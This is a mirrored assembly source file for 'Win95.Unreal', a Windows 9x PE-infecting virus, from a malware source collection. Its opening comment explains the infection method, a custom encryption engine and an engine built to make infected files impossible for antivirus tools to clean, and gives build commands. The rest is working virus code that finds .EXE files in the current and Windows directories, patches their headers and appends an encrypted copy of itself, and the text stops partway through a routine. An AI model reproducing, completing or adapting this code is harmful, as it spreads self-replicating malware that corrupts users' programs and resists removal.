mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
1661 lines
52 KiB
NASM
1661 lines
52 KiB
NASM
Win95.Unreal
|
|
Comment %
|
|
-----------------------------+ UNREAL +--------------------
|
|
+----+ By Qozah +----+
|
|
|
|
|
|
-------+ Briefing +---------------------------------------------------------
|
|
|
|
|
|
Unreal is a 3349 bytes long PE infector. It works on win9x systems by
|
|
appending it's code to the last file section and modifying the header to
|
|
do so - the so called 29A technique.
|
|
|
|
It uses multithreading to perform it's infection; as it should waste time
|
|
that could be noticed by the user, launches it's routines as a thread and
|
|
jumps in the main thread to the legit code. Of course, it's possible
|
|
that the main thread is closed before the program is, but even if the
|
|
virus was infecting at that time nothing would happen; as it uses file
|
|
mapping, changes will be saved only when all is finished. Anyway I've
|
|
heard this idea was used before, but I also thought it didn't I ? :P
|
|
|
|
Unreal is encrypted by QBCE ( Qozah's Block Cyphering Engine ), which
|
|
is a block cypher deeply analyzed forward. In a few words, it
|
|
makes 24 rounds of encryption with random operations on the code, making
|
|
it a good algorithm for crypting.
|
|
|
|
Now, maybe the best idea inside this one is that it's virtually
|
|
uncleanable by normal methods, due to an engine I called UVE. I strongly
|
|
recommend at least understanding the idea on it. Past is gone, we can't
|
|
relay on it making the same things. Technology has to strenghten, and new
|
|
ideas to fuck up antivirus's work should be taken as a standard. This is
|
|
a good example.
|
|
|
|
|
|
Descriptions on QBCE and UVE follow.
|
|
|
|
|
|
|
|
-------+ Qozah's Block Cyphering Engine +-----------------------------------
|
|
|
|
Basic operations
|
|
----------------
|
|
|
|
The engine selects randomly a bunch of 24 rounds which will work in all
|
|
the bytes of the encrypted file ( this value can be changed )
|
|
|
|
That values are 10 bits long, and look this way:
|
|
|
|
+-+-+-+-+-+-+-+-+-+-+
|
|
| | | | | | | | | | |
|
|
+-+-+-+-+-+-+-+-+-+-+
|
|
^ ^
|
|
| |
|
|
Select |
|
|
|
|
|
Argument
|
|
|
|
The cipher works with three basic operations: ADD, SUB, XOR, ROR and ROL.
|
|
So, the meanings of Select are:
|
|
|
|
00 ADD
|
|
01 SUB
|
|
10 XOR
|
|
11 ROR/ROL
|
|
|
|
When there is a ROR or a ROL the cipher looks at the next bit; a 0 means
|
|
ROR, and a 1 means ROL. These operations are obviously the ones to decrypt
|
|
the code, as the encryption will set them up. The value stored in the
|
|
Argument part which is 8 bits long except in ROL and ROR where it's just
|
|
7 bits: nothing to fear, as it won't be very interesting to make a more
|
|
than 31 times rotation.
|
|
|
|
The table where this is stored is 31 bytes long, which is enough to
|
|
perform 24 operations ( 24*10 = 240 bits, 240/8 = 30 bytes ). The other
|
|
byte is used when messing up two 32 bit blocks.
|
|
|
|
|
|
Block ciphering
|
|
---------------
|
|
|
|
The engine doesn't just crypt the code with that bunch of operations.
|
|
Looking at the complete length ( which is stored in 16 bits with a maximum
|
|
of 64Kb - keep an eye if you want to make it take bigger stuff ), it
|
|
divides the code in 64-bit blocks this way:
|
|
|
|
+---------+---------+---------+-----+
|
|
| | | | |
|
|
+---------+---------+---------+-----+
|
|
64-bits 64-bits 64-bits Last block ( undefined )
|
|
|
|
It will start cyphering 32-bit bunchs on each block, then operating
|
|
among any of the 2 bunchs of each block, and finally modifying the
|
|
last block. When the engine starts working, it divides the 64 bit block
|
|
in two dwords ( 32-bit each ). Loads the first of them and makes 24
|
|
operations byte to byte, going later with the other block:
|
|
|
|
|
|
Cyphering 32 bits
|
|
-----------------
|
|
Let's suppose the dword is in EAX:
|
|
|
|
The first byte ( in xL ) is encrypted with the first operation, then
|
|
it's value is stored, the 32-bit register for it rotated right 8 bits,
|
|
and the same operation that was applied to it is made to the next byte;
|
|
the argument will be the encrypted byte. So the rotated byte in xL is
|
|
processed the same way:
|
|
|
|
In this example, the first operation will be "ADD AL,4Ch", and the
|
|
second will be "ROR AL,5h"
|
|
|
|
|
|
Original state First operation
|
|
+4C
|
|
+----+----+----+----+ +----+----+----+----+
|
|
| 1A | F0 | D1 | 43 | | 1A | F0 | D1 | 8F |
|
|
+----+----+----+----+ +----+----+----+----+
|
|
|
|
ROL EAX,8d ( to work with next byte ) Second operation
|
|
ROR 5h
|
|
+----+----+----+----+ +----+----+----+----+
|
|
| 8F | 1A | F0 | D1 | | 8F | 1A | F0 | D1 |
|
|
+----+----+----+----+ +----+----+----+----+
|
|
|
|
Then, it will make that second operation to the byte "1Ah" and so on,
|
|
in it's 24 rounds, using of course 24 different operations ( so each
|
|
byte is changed 24/4*2 = 12 times )
|
|
|
|
When two 32-bit bunchs are finished, they will be stored: for
|
|
decryption, the engine works backwards: first AL is operated, then
|
|
rotated left and operated again with the same op, the next one is
|
|
done to the same AL, and so on.
|
|
|
|
|
|
Block messing
|
|
-------------
|
|
When two 32 bit blocks are done, the first one is re-encrypted by the
|
|
second using up to four operations stored in a single byte that can be
|
|
either ADD or XOR in different ways, taking the other block as argument.
|
|
That byte is stored this way:
|
|
|
|
00 ADD ( the other block )
|
|
01 ADD ( rotating the other block )
|
|
10 XOR ( with the other block )
|
|
11 XOR ( with the other block rotated )
|
|
|
|
So you can see the first bit tells us if we should rotate or not the
|
|
block: when decrypting, this will be the first to execute instead
|
|
of the bunch-cyphering doing first the rotation op ( which is done the
|
|
last when encrypting )
|
|
|
|
Last block
|
|
----------
|
|
As you should have noticed, the last block won't probably be 64-bit
|
|
long. So, this unfixed length block is handled in a different way. If we
|
|
can take 32 bits from it, they will be done as a normal 32-bit block as
|
|
before.
|
|
|
|
The other block won't be even touched: it's highly recommended not to
|
|
place anything important there or anything we should be recognized for:
|
|
it's not any big waste, as the bigger number of bytes that can be
|
|
outside blocks and non-encrypted is 3.
|
|
|
|
So, place three fake bytes in the end of the encrypted code, and even
|
|
fill 'em with shit: the engine will ignore them.
|
|
|
|
|
|
|
|
-------+ Uncleanable Virus Engine +-----------------------------------------
|
|
|
|
The UVE is an idea performed after making my article about polymorphism,
|
|
and how it can always be detectable. Thinking on alphabets and languages,
|
|
a poly engine cannot be undetected, but a file infected by a virus can be
|
|
made uncleanable.
|
|
|
|
That's the idea behind this engine, making it impossible to remove the
|
|
virus from a file, at least by a normal procedure. You could make this
|
|
idea bigger supporting many instructions, but that's not my point. Be it
|
|
one instruction as in my engine, or X instructions, the important
|
|
objective is accomplished. I've received some complaints because most
|
|
files didn't begin by mov reg,imm32. But the main objective on uncleanable
|
|
making is made: confussion, and not knowing if the instruction was or
|
|
wasn't in the beggining of the file.
|
|
|
|
I'll describe it in 5 points:
|
|
|
|
<li> First of all, check if the first instruction of the legit code, the one
|
|
on the entry point, is a mov reg,imm32.
|
|
|
|
<li> In the beggining of the virus code, place that mov reg,imm32 if it
|
|
exists, and another 6 mov reg,imm32 instructions which use random
|
|
registers and random value assignations - not using esp or the one the
|
|
legit instruction uses.
|
|
|
|
<li> If there's no mov reg,imm32 instruction in the beggining of the legit
|
|
code, the engine will anyway generate 7 random mov reg,imm32 instructions
|
|
at the beggining of the virus.
|
|
|
|
<li> The legit code instruction 'mov reg,imm32' is overwritten with 0s, and
|
|
the old entry point is added 5.
|
|
|
|
<li> When the .exe is run, these 7 instructions are executed, then registers
|
|
are pushed onto the stack, and when returning to original host, they're
|
|
replaced. So, an antivirus can't know if there was a 'mov reg,imm32' in
|
|
the beggining of the original host code, or which one was it, so it
|
|
can't replace it.
|
|
|
|
|
|
|
|
-------+ Greetings +--------------------------------------------------------
|
|
|
|
Special greetings in this virus go to:
|
|
|
|
Billy Belcebu -> For the idea on getting the Kernel32.DLL address: kewl.
|
|
And thanks for letting me publish in your magazine.
|
|
Sopinky -> For all yer support man
|
|
Z0mbie -> Cool ideas, how do u have tha time ? Ya rule, thanx for help
|
|
Benny -> Need to hear from yer projects
|
|
|
|
-------+ Contact +----------------------------------------------------------
|
|
|
|
E-mail me at qozah@hax0r.com.ar
|
|
|
|
-------+ Compilation +------------------------------------------------------
|
|
|
|
tasm32 -ml -m5 -q -zn unreal.asm
|
|
tlink32 -v -Tpe -c -x -aa unreal,,, import32
|
|
pewrsec unreal.exe
|
|
remove unreal.exe after the first infection when executing files in the
|
|
same directory (tasm bug makes own infection a fuckup)
|
|
|
|
|
|
---------------------------?-------------?----------------------------------
|
|
%
|
|
|
|
.486p
|
|
.model flat
|
|
|
|
NULL EQU 00000000h
|
|
MB_ICONEXCLAMATION EQU 00000030h
|
|
|
|
extrn ExitProcess: proc
|
|
extrn GetModuleHandleA: proc
|
|
extrn GetProcAddress: proc
|
|
extrn MessageBoxA: proc
|
|
|
|
|
|
.data
|
|
|
|
db ?
|
|
|
|
.code
|
|
|
|
v_start label byte
|
|
|
|
Start:
|
|
db 35d dup (90h) ; Place set for 7 instructions.
|
|
pusha
|
|
call Get_Delta ; Get Delta Offset
|
|
Get_Delta:
|
|
mov esi,esp
|
|
add dword ptr [esi],Real_start-Get_Delta
|
|
push esi
|
|
lodsd
|
|
sub eax,offset Real_start
|
|
mov ebp,eax
|
|
pop dword ptr [Find_Win32_Data+ebp]
|
|
push dword ptr [ebp+dif_point2]
|
|
pop dword ptr [ebp+dif_point]
|
|
call external_first_gen_ops
|
|
|
|
external_address equ $-4
|
|
|
|
ret
|
|
|
|
EncStart label byte
|
|
|
|
|
|
; Other Data
|
|
|
|
number_bytes: dd 0
|
|
Search_File: db '*.EXE',0
|
|
GetMHandle: dd 0
|
|
Azathoth: db 'Unreal virus written by Qozah',0
|
|
|
|
db 'So how are you going to clean this one, AV guys ?',0
|
|
db 'It''s your turn, to tell the people that buy your '
|
|
db 'shit that you cannot disinfect this one without '
|
|
db 'risking their data ',0
|
|
|
|
; API adresses
|
|
|
|
API_Adresses:
|
|
API_Create: dd 0
|
|
API_Close: dd 0
|
|
API_FindFirst: dd 0
|
|
API_FindNext: dd 0
|
|
API_CMap: dd 0
|
|
API_MapView: dd 0
|
|
API_Unmap: dd 0
|
|
API_Pointer: dd 0
|
|
API_SetEnd: dd 0
|
|
API_ExitThread: dd 0
|
|
API_CrThread: dd 0
|
|
API_GetWDir: dd 0
|
|
API_SetDir: dd 0
|
|
API_GetTime: dd 0
|
|
|
|
|
|
Real_start:
|
|
|
|
; Get all the APIs we'll need in the virus
|
|
|
|
lea esi,[API_Reference+ebp] ; Initialize
|
|
lea ebx,[API_Names+ebp]
|
|
lea edi,[API_Adresses+ebp]
|
|
mov ecx,API_Quantity
|
|
Get_APIs:
|
|
push ecx
|
|
xor eax,eax
|
|
lodsb
|
|
add ebx,eax
|
|
push ebx
|
|
push dword ptr [GetMHandle+ebp]
|
|
call GetProcAddress
|
|
GPAddress equ $-4
|
|
stosd ; Save address
|
|
pop ecx
|
|
loop Get_APIs
|
|
|
|
;
|
|
; lpThreadAttributes;dwStackSize;lpStartADress,lPParameter,
|
|
;dwCreationFlags, lpThreadld
|
|
|
|
lea eax,[THR+ebp]
|
|
push eax
|
|
push 0 0
|
|
lea eax,[FindFirstFile+ebp]
|
|
push eax
|
|
push 1000d 0
|
|
mov eax,dword ptr [API_CrThread+ebp]
|
|
call eax
|
|
|
|
jmp ReturnHost
|
|
THR: dd 0
|
|
;epflag: db 0
|
|
|
|
;----------------------
|
|
; FindFirst "Host.EXE"
|
|
FindFirstFile:
|
|
call Delta4thread
|
|
Delta4thread:
|
|
pop ebp
|
|
sub ebp,offset Delta4thread
|
|
mov byte ptr ds:[signal+ebp],01d
|
|
|
|
FindFirstReal:
|
|
lea eax,[Find_Win32_Data+ebp]
|
|
push eax
|
|
lea eax,[Search_File+ebp]
|
|
push eax
|
|
mov eax,dword ptr [API_FindFirst+ebp]
|
|
call eax
|
|
|
|
or eax,eax
|
|
jz EndReturn
|
|
push eax
|
|
call Infect
|
|
|
|
LoopFindNext:
|
|
pop ebx ; Handle for finding
|
|
push ebx
|
|
call FindNext
|
|
or eax,eax
|
|
pop eax
|
|
jz EndReturn
|
|
push eax
|
|
call Infect
|
|
jmp LoopFindNext
|
|
|
|
|
|
|
|
WinDir: db MAX_PATH dup (90h)
|
|
signal: db 01h
|
|
; We finished, so we just get out
|
|
|
|
;#########################################################################
|
|
; We should now infect the windows directory
|
|
;#########################################################################
|
|
|
|
EndReturn:
|
|
|
|
; We change directory ( now it's windows one )
|
|
|
|
push MAX_PATH
|
|
lea eax,[WinDir+ebp]
|
|
push eax
|
|
mov eax,dword ptr [API_GetWDir+ebp]
|
|
call eax
|
|
|
|
lea eax,[WinDir+ebp]
|
|
push eax
|
|
mov eax,dword ptr [API_SetDir+ebp]
|
|
call eax
|
|
|
|
dec byte ptr ds:[signal+ebp]
|
|
mov al,byte ptr ds:[signal+ebp]
|
|
or al,al
|
|
jz FindFirstReal
|
|
|
|
ExitGame:
|
|
|
|
push NULL
|
|
mov eax,dword ptr [API_ExitThread+ebp]
|
|
call eax
|
|
|
|
|
|
; FINISH
|
|
|
|
|
|
|
|
|
|
FindNext:
|
|
|
|
lea eax,[Find_Win32_Data+ebp]
|
|
push eax
|
|
push ebx
|
|
mov eax,dword ptr [API_FindNext+ebp]
|
|
call eax
|
|
ret
|
|
|
|
Infect:
|
|
|
|
; Open "Host.EXE"
|
|
|
|
push 0 0 3 0 1 0C0000000h ; Read/Write access
|
|
lea eax, [Find_Win32_Data+WFD_szFileName+ebp]
|
|
push eax
|
|
mov eax, dword ptr [API_Create+ebp]
|
|
call eax
|
|
|
|
|
|
mov ebx,eax
|
|
inc eax
|
|
jnz No_Prob1
|
|
ret
|
|
No_Prob1:
|
|
push ebx ;also for open_mapping
|
|
|
|
; CreateFileMapping
|
|
|
|
mov edi,dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp]
|
|
add edi,virus_size ; Host plus our size
|
|
push 0
|
|
push edi
|
|
push 0
|
|
push PAGE_READWRITE ; R/W
|
|
push 0 ; Opt_sec_attr
|
|
push ebx ; Handle
|
|
mov eax, dword ptr [API_CMap+ebp]
|
|
call eax
|
|
push eax ; Save mapping handle
|
|
or eax,eax
|
|
jnz No_Prob2
|
|
ret
|
|
|
|
badress: dd 0
|
|
|
|
No_Prob2:
|
|
|
|
; MapViewOfFile
|
|
|
|
push edi
|
|
push 0
|
|
push 0
|
|
push FILE_MAP_ALL_ACCESS
|
|
push eax ; handle
|
|
lea eax,dword ptr [API_MapView+ebp]
|
|
call dword ptr [eax]
|
|
|
|
or eax,eax
|
|
jz Close_handles ; Does it (???)
|
|
push eax
|
|
mov edx,eax
|
|
mov dword ptr ds:[badress+ebp],eax
|
|
; Base address = eax
|
|
|
|
|
|
;///////////////////////////////////////////////////////////////////////////
|
|
; File mapped, infection begins
|
|
;///////////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
movzx ebx, word ptr ds:[eax]
|
|
add bh,bl
|
|
add bh,-('M'+'Z')
|
|
jnz unmap_close
|
|
|
|
mov bx,word ptr ds:[eax+03ch]
|
|
add edx,ebx ; PE header
|
|
|
|
mov bx,word ptr ds:[edx]
|
|
xor bx,0baafh ; Is PE header ?
|
|
inc bx
|
|
jnz unmap_close
|
|
or word ptr ds:[0014h+edx],0 ; Optional header exists ?
|
|
jz unmap_close
|
|
|
|
mov eax,dword ptr ds:[04ch+edx]
|
|
add eax,-'CHR0'
|
|
jz unmap_close
|
|
|
|
mov ax,word ptr ds:[016h+edx] ; File is executable
|
|
and ax,0002h
|
|
jz unmap_close
|
|
|
|
; So, we have a suitable file for infection
|
|
; Now then calculate beggining of last section
|
|
|
|
mov esi,edx
|
|
add esi,18h
|
|
mov bx,word ptr ds:[edx+14h] ; SizeofOptional
|
|
add esi,ebx ; Start of Section Table
|
|
|
|
; Now that esi = section table, we must search
|
|
;which is the last one: that is, looking at the biggest
|
|
;PointerToRawData field.
|
|
|
|
push esi
|
|
movzx ecx,word ptr ds:[edx+06h] ; number of sections
|
|
mov edi,esi
|
|
xor eax,eax
|
|
push cx
|
|
X_Sections:
|
|
|
|
pushad
|
|
mov ebx,esi
|
|
mov eax,dword ptr ds:[edx+02Ch] ; Get the code RVA
|
|
cmp dword ptr ds:[edi+0Ch],eax ; Are they the same ?
|
|
jnz fuckya
|
|
mov esi,dword ptr ds:[edx+028h] ; Substract Entry Point RVA to Code base
|
|
sub esi,eax
|
|
add esi,dword ptr ds:[ebx+014h]
|
|
add esi,dword ptr ds:[badress+ebp]
|
|
lea edi,Start+ebp
|
|
push eax ebx ecx edx esi edi ebp
|
|
call UVE
|
|
pop ebp edi esi edx ecx ebx eax
|
|
jc fuckya
|
|
; Overwrite old instructions with 0s
|
|
mov dword ptr ds:[esi],0h
|
|
mov byte ptr ds:[esi+4d],0h
|
|
; Activate flag: old ep has to be increased by 5
|
|
add dword ptr ds:[edx+028h],5d
|
|
fuckya:
|
|
popad
|
|
|
|
|
|
cmp dword ptr [edi+14h],eax
|
|
jz Not_Biggest
|
|
mov ebx,ecx
|
|
mov eax,dword ptr [edi+14h]
|
|
Not_Biggest:
|
|
add edi,28h
|
|
loop X_Sections
|
|
pop cx ; number of sections
|
|
sub ecx,ebx ; calculate last one
|
|
|
|
mov eax,028h
|
|
push edx
|
|
mul ecx
|
|
pop edx
|
|
add esi,eax
|
|
|
|
; We've got the last section in the section table just
|
|
;in esi ( while PE header is still in edx )
|
|
; So first we set it to writable, code and executable
|
|
;( also, we discard it if it contains useless data, as
|
|
;.reloc has )
|
|
|
|
or dword ptr ds:[esi+24h],0A0000020h
|
|
|
|
; Now we save SizeOfRawData, add our size to the Virtual
|
|
;size, to put the real size of the section now.
|
|
|
|
mov edi,dword ptr ds:[esi+10h]
|
|
mov eax,virus_size
|
|
xadd dword ptr ds:[esi+8h],eax ; VirtualSize
|
|
push eax
|
|
add eax,virus_size
|
|
|
|
; As eax holds the new virtual size, we have probably
|
|
;fucked the alignment. So we get it and divide the new
|
|
;VirtualSize by the alignment: the result of the new
|
|
;SizeOfRawData is just the quotient multiplied by the
|
|
;Alignment
|
|
|
|
push edx
|
|
mov ecx, dword ptr ds:[edx+03ch]
|
|
xor edx,edx
|
|
div ecx ; eax holds virtual size
|
|
xor edx,edx
|
|
inc eax
|
|
mul ecx ; file align x number of bunchs
|
|
mov ecx,eax
|
|
mov dword ptr ds:[esi+10h],ecx
|
|
pop edx
|
|
|
|
; Now the NewSizeOfRawData is calculated and stored. So
|
|
;what's now ? We add that place the VirtualAddress stored
|
|
;in offset 0ch... and so we get the new entry point for
|
|
;the virus: that VirtualAddress ( where it's loaded in
|
|
;memory ) plus the offset where the virus is at, makes
|
|
;our entry point.
|
|
|
|
pop ebx ; This is VirtualSize - virus_size
|
|
add ebx,dword ptr ds:[esi+0ch] ; section RVA
|
|
mov eax,dword ptr ds:[edx+028h] ; Old entry point
|
|
mov dword ptr ds:[dif_point2+ebp],ebx
|
|
|
|
no_ep_mod:
|
|
|
|
sub dword ptr ds:[dif_point2+ebp],eax
|
|
mov dword ptr ds:[edx+28h],ebx
|
|
|
|
; Then, we calculate how much more data we have...
|
|
;and so we store it in SizeOfImage ( of course, it's
|
|
;this rounded one as it have to be aligned...
|
|
|
|
sub ecx,edi
|
|
add dword ptr ds:[edx+50h],ecx ; add to SizeOfImage
|
|
mov dword ptr ds:[edx+04ch],'CHR0'
|
|
|
|
; EAX = OLD EP
|
|
; EBX = NEW EP
|
|
|
|
|
|
; Now to finish infection, the whole virus is copied
|
|
;to the file.
|
|
|
|
pop ebx
|
|
|
|
pop edi
|
|
push edi
|
|
add edi,dword ptr ds:[esi+14h]
|
|
add edi,dword ptr ds:[esi+8h]
|
|
sub edi,virus_size
|
|
lea esi,[ebp+v_start]
|
|
mov ecx,virus_size
|
|
|
|
pushad
|
|
call Infection_cryption
|
|
popad
|
|
|
|
mov edi,0bff70000h
|
|
|
|
; Close and go
|
|
|
|
unmap_close:
|
|
lea eax,dword ptr [API_Unmap+ebp]
|
|
call dword ptr [eax]
|
|
Close_handles:
|
|
lea eax, [API_Close+ebp]
|
|
call dword ptr [eax]
|
|
|
|
add edi,-0bff70000h
|
|
jz Cool_infected
|
|
|
|
; If we had any problems, we have to set the old
|
|
;file length so it doesn't grow
|
|
|
|
pop ebx ; File handle
|
|
push 0 0
|
|
push dword ptr [Find_Win32_Data+WFD_nFileSizeLow+ebp]
|
|
push ebx
|
|
lea eax, [API_Pointer+ebp]
|
|
call dword ptr [eax]
|
|
|
|
push ebx
|
|
lea eax, [API_SetEnd+ebp]
|
|
call dword ptr [eax]
|
|
push ebx
|
|
|
|
Cool_infected:
|
|
lea eax, [API_Close+ebp]
|
|
call dword ptr [eax]
|
|
ret
|
|
|
|
API_Reference:
|
|
|
|
db 0d,12d,12d,15d,14d,19d,14d,16d,15d,13d,11d
|
|
db 13d,21d,21d
|
|
|
|
End_Reference label byte
|
|
|
|
API_Quantity equ End_Reference-API_Reference
|
|
|
|
; API names
|
|
|
|
API_Names:
|
|
db 'CreateFileA',0
|
|
db 'CloseHandle',0
|
|
db 'FindFirstFileA',0
|
|
db 'FindNextFileA',0
|
|
db 'CreateFileMappingA',0
|
|
db 'MapViewOfFile',0
|
|
db 'UnmapViewOfFile',0
|
|
db 'SetFilePointer',0
|
|
db 'SetEndOfFile',0
|
|
db 'ExitThread',0
|
|
db 'CreateThread',0
|
|
db 'GetWindowsDirectoryA',0
|
|
db 'SetCurrentDirectoryA',0
|
|
db 'GetSystemTime',0
|
|
|
|
;
|
|
; GETTING GETMODULEHANDLE AND GETPROCADDRESS
|
|
|
|
; Here we look at the GetModuleHandle and GetProcAddress addreses in
|
|
;memory so that we can use all the APIs in the virus.
|
|
;
|
|
|
|
GetModuleHandleProcAddress:
|
|
|
|
; This method on getting the Kernel32.dll address was suggested by Billy
|
|
;Belcebu so I must give him some greetings ;). As a program is
|
|
;consecuence of a CreateProcess call, place in kernel from where it
|
|
;was called is still in the stack; so we substract from it again and
|
|
;again till we find the real header.
|
|
|
|
mov edi,esp
|
|
mov edi,[edi+02Ch]
|
|
and edi,0FFFF0000h
|
|
CheckAgain:
|
|
sub edi,10000h
|
|
mov ax,word ptr ds:[edi]
|
|
add ax,-'ZM'
|
|
jnz CheckAgain
|
|
|
|
; So we've got the kernel just right here.
|
|
|
|
mov edx,dword ptr ds:[edi+03ch]
|
|
add edx,edi
|
|
|
|
mov ebx,dword ptr ds:[edx+78h]
|
|
add ebx,edi
|
|
|
|
|
|
mov esi,dword ptr ds:[ebx+20h] ; AddressOfNames
|
|
add esi,edi ; + base address of K32
|
|
xor ecx,ecx
|
|
|
|
Find_GPA:
|
|
inc ecx
|
|
lodsd ; Pointer to name
|
|
mov edx,eax
|
|
add edx,edi ; Name in edx
|
|
cmp dword ptr ds:[edx],'PteG'
|
|
jnz Find_GPA
|
|
cmp dword ptr ds:[edx+5h],'dAco'
|
|
jnz Find_GPA
|
|
ProcFound:
|
|
; ecx handles where we found it.
|
|
|
|
dec ecx
|
|
rol ecx,1h
|
|
mov esi,dword ptr ds:[ebx+24h] ; Address of ordinals
|
|
add esi,edi
|
|
add esi,ecx
|
|
xor eax,eax
|
|
lodsw ; EAX = ordinal numbah
|
|
|
|
mov esi,dword ptr ds:[ebx+01ch]
|
|
add esi,edi
|
|
rol eax,2h ; *4h
|
|
add esi,eax
|
|
lodsd
|
|
|
|
add eax,edi ; Adjust to base
|
|
; Absolute address here
|
|
mov esi,ebp
|
|
add esi,(offset GPAddress-offset v_start)+401004h
|
|
sub eax,esi
|
|
mov dword ptr ds:[GPAddress+ebp],eax ; Set addr
|
|
mov dword ptr [GetMHandle+ebp],edi ; Set Base
|
|
|
|
; So we stored GetProcAddress place
|
|
|
|
ret
|
|
|
|
;GPName: db 'GetProcAddress'
|
|
|
|
|
|
returnway: dd 0
|
|
|
|
|
|
; Internal text
|
|
|
|
|
|
image_base: dd 0
|
|
|
|
; Structures
|
|
|
|
Find_Win32_Data:
|
|
db SIZEOF_WIN32_FIND_DATA dup (90h)
|
|
|
|
EncEnd label byte
|
|
EncLength equ EncEnd-EncStart
|
|
|
|
;/*************************************************************************/
|
|
; Here is where virus decryption is perfomed after the 1st generation.
|
|
;/*************************************************************************/
|
|
|
|
ReturnHost:
|
|
push cs
|
|
pop word ptr ds:[ebp+offset seg]
|
|
mov eax,ebp
|
|
add eax,offset v_start
|
|
sub eax,12345678h
|
|
dif_point equ $-4
|
|
push eax
|
|
pop dword ptr ds:[ebp+offset dif_p3]
|
|
|
|
popad
|
|
db 0eah
|
|
dif_p3: dd 0
|
|
seg: dw 0
|
|
dif_point2 dd - (offset First_out - offset v_start)
|
|
|
|
|
|
|
|
Infection_cryption:
|
|
|
|
pushf
|
|
pushad
|
|
lea esi,dword ptr [EncStart+ebp]
|
|
mov ecx,EncLength
|
|
call Encrypt
|
|
popad
|
|
popf
|
|
rep movsb
|
|
pushf
|
|
pushad
|
|
lea esi,dword ptr [EncStart+ebp]
|
|
mov ecx,EncLength
|
|
call Decrypt
|
|
popad
|
|
popf
|
|
ret
|
|
|
|
|
|
Decryption:
|
|
|
|
pushf
|
|
pushad
|
|
lea esi,dword ptr [EncStart+ebp]
|
|
mov ecx,EncLength
|
|
call Decrypt
|
|
popad
|
|
popf
|
|
|
|
|
|
|
|
call GetModuleHandleProcAddress
|
|
|
|
ret
|
|
|
|
|
|
;============================================================================
|
|
; UNCLEANABLE VIRUS ENGINE
|
|
;============================================================================
|
|
|
|
; if CF is set, no mov ?s:reg32,imm32 was found, but it was
|
|
;generated anyway.
|
|
|
|
; UVE: Engine parameters:
|
|
;
|
|
; ESI: Offset where the first instruction is red from.
|
|
; EDI: Offset where the code has to be written to
|
|
;
|
|
|
|
Instruction:
|
|
db 0bbh,12h,00h,00h ; mov ebx, 12h
|
|
db 0,0,0,0
|
|
|
|
;=========================*******************===============================
|
|
; INSTRUCTION CHECK
|
|
;=========================*******************===============================
|
|
|
|
|
|
GetFirstInstruction:
|
|
push edi
|
|
lea edi,Instruction+ebp
|
|
GetInstructionTrue:
|
|
lodsb
|
|
|
|
; First of all, check if there is a prefix
|
|
|
|
cmp al,0b8h
|
|
jb No_Shit ; This means no suitable instruction. So,
|
|
cmp al,0c0h ;we just don't care but generate fake
|
|
jae No_Shit ;instructions :)
|
|
; Go then to real instructions
|
|
|
|
MovRegImm:
|
|
dec esi
|
|
mov ecx,5
|
|
rep movsb ; Copy to our instruction buffer
|
|
pop edi
|
|
mov ecx,5
|
|
ret
|
|
|
|
No_Shit:
|
|
; Well, there's no instruction. So, we must generate a fake one
|
|
;to act as if it was legit in our code, then AVers mustn't know
|
|
;even if I supressed any.
|
|
|
|
pop edi
|
|
mov eax,7 ; Times to do it
|
|
faker_nf:
|
|
mov ecx,5 ; Length of instruction
|
|
push eax
|
|
call PrintFake
|
|
pop eax
|
|
dec eax
|
|
jnz faker_nf
|
|
stc
|
|
pop ecx ; Adjust stack
|
|
jmp Ended_Stuff
|
|
|
|
;=========================*******************===============================
|
|
; MARK OPCODE
|
|
;=========================*******************===============================
|
|
;
|
|
; MarkOpcode: with the first instruction at hand, this function determines
|
|
;which opcode is affected by it. After that, it stores a value in the
|
|
;correct marker.
|
|
|
|
; EDI ESI EBP ESP EBX EDX ECX EAX
|
|
Marker: db 00010000b
|
|
MarkOpcode:
|
|
|
|
; In case it's b8h-bfh
|
|
Opcode_Prefix:
|
|
lea esi,Instruction+ebp
|
|
xor eax,eax
|
|
lodsb
|
|
sub al,0b8h
|
|
; add al,24d
|
|
bts dword ptr ds:[Marker+ebp],eax
|
|
ret
|
|
|
|
;=========================*******************===============================
|
|
; RANDOM SEED
|
|
;=========================*******************===============================
|
|
|
|
; GetRandomSeed/GetRandomNumber: Randomize functions.
|
|
|
|
GetRandomSeed:
|
|
|
|
lea eax,[TimeKindOf+ebp]
|
|
push eax
|
|
lea eax, [API_GetTime+ebp]
|
|
call dword ptr ds:[eax]
|
|
ret
|
|
|
|
GetRandomNumber:
|
|
|
|
push ecx
|
|
mov ax,word ptr ds:[Miliseconds+ebp]
|
|
xor ax,1264h
|
|
RndVal equ $-2
|
|
mov cx,ax
|
|
add ax,word ptr ds:[Second+ebp]
|
|
xor ax,word ptr ds:[Miliseconds+ebp]
|
|
rol ax,1
|
|
add cx,ax
|
|
xor word ptr ds:[RndVal+ebp],ax
|
|
ror ax,7d
|
|
add ax,cx
|
|
add ax,word ptr ds:[Miliseconds+ebp]
|
|
rol ax,4d
|
|
xor cx,ax
|
|
sub ax,word ptr ds:[RndVal+ebp]
|
|
ror ax,3d
|
|
add word ptr ds:[RndVal+ebp],ax
|
|
mov word ptr ds:[Miliseconds+ebp],ax
|
|
add ax,cx
|
|
rol ax,11d
|
|
pop ecx
|
|
ret
|
|
|
|
;=====================***************************===========================
|
|
; PRINT LEGIT/FAKE
|
|
;=====================***************************===========================
|
|
|
|
secondary_buffer: db 5 dup(90h)
|
|
|
|
PrintLegit: ; The legit instruction
|
|
push ecx
|
|
lea esi,Instruction+ebp
|
|
rep movsb
|
|
pop ecx
|
|
ret
|
|
|
|
|
|
PrintFake: ; A random one
|
|
call GetRandomNumber
|
|
and ax,0007h
|
|
push eax
|
|
mov dx,08d
|
|
sub dx,ax ; Get reserved
|
|
bt dword ptr ds:[Marker+ebp],edx
|
|
pop edx
|
|
|
|
jc PrintFake ; Is it reserved ?
|
|
|
|
|
|
lea esi,secondary_buffer+1+ebp
|
|
mov ecx,5
|
|
|
|
; Now the fake instructions has to be printed. It's with the same
|
|
;value of the legit one, so we must change that value.
|
|
|
|
push esi
|
|
push ecx
|
|
add esi,ebp ; Now base pointer adjusts
|
|
mov ecx,12h
|
|
stvalue:
|
|
call GetRandomNumber
|
|
add word ptr [esi], ax
|
|
sub word ptr [esi+2], ax
|
|
add ax,word ptr [esi+2]
|
|
xor word ptr [esi],ax
|
|
xor ax,word ptr [esi+2]
|
|
xor word ptr [esi],ax
|
|
add word ptr [esi+2],ax
|
|
loop stvalue
|
|
pop ecx
|
|
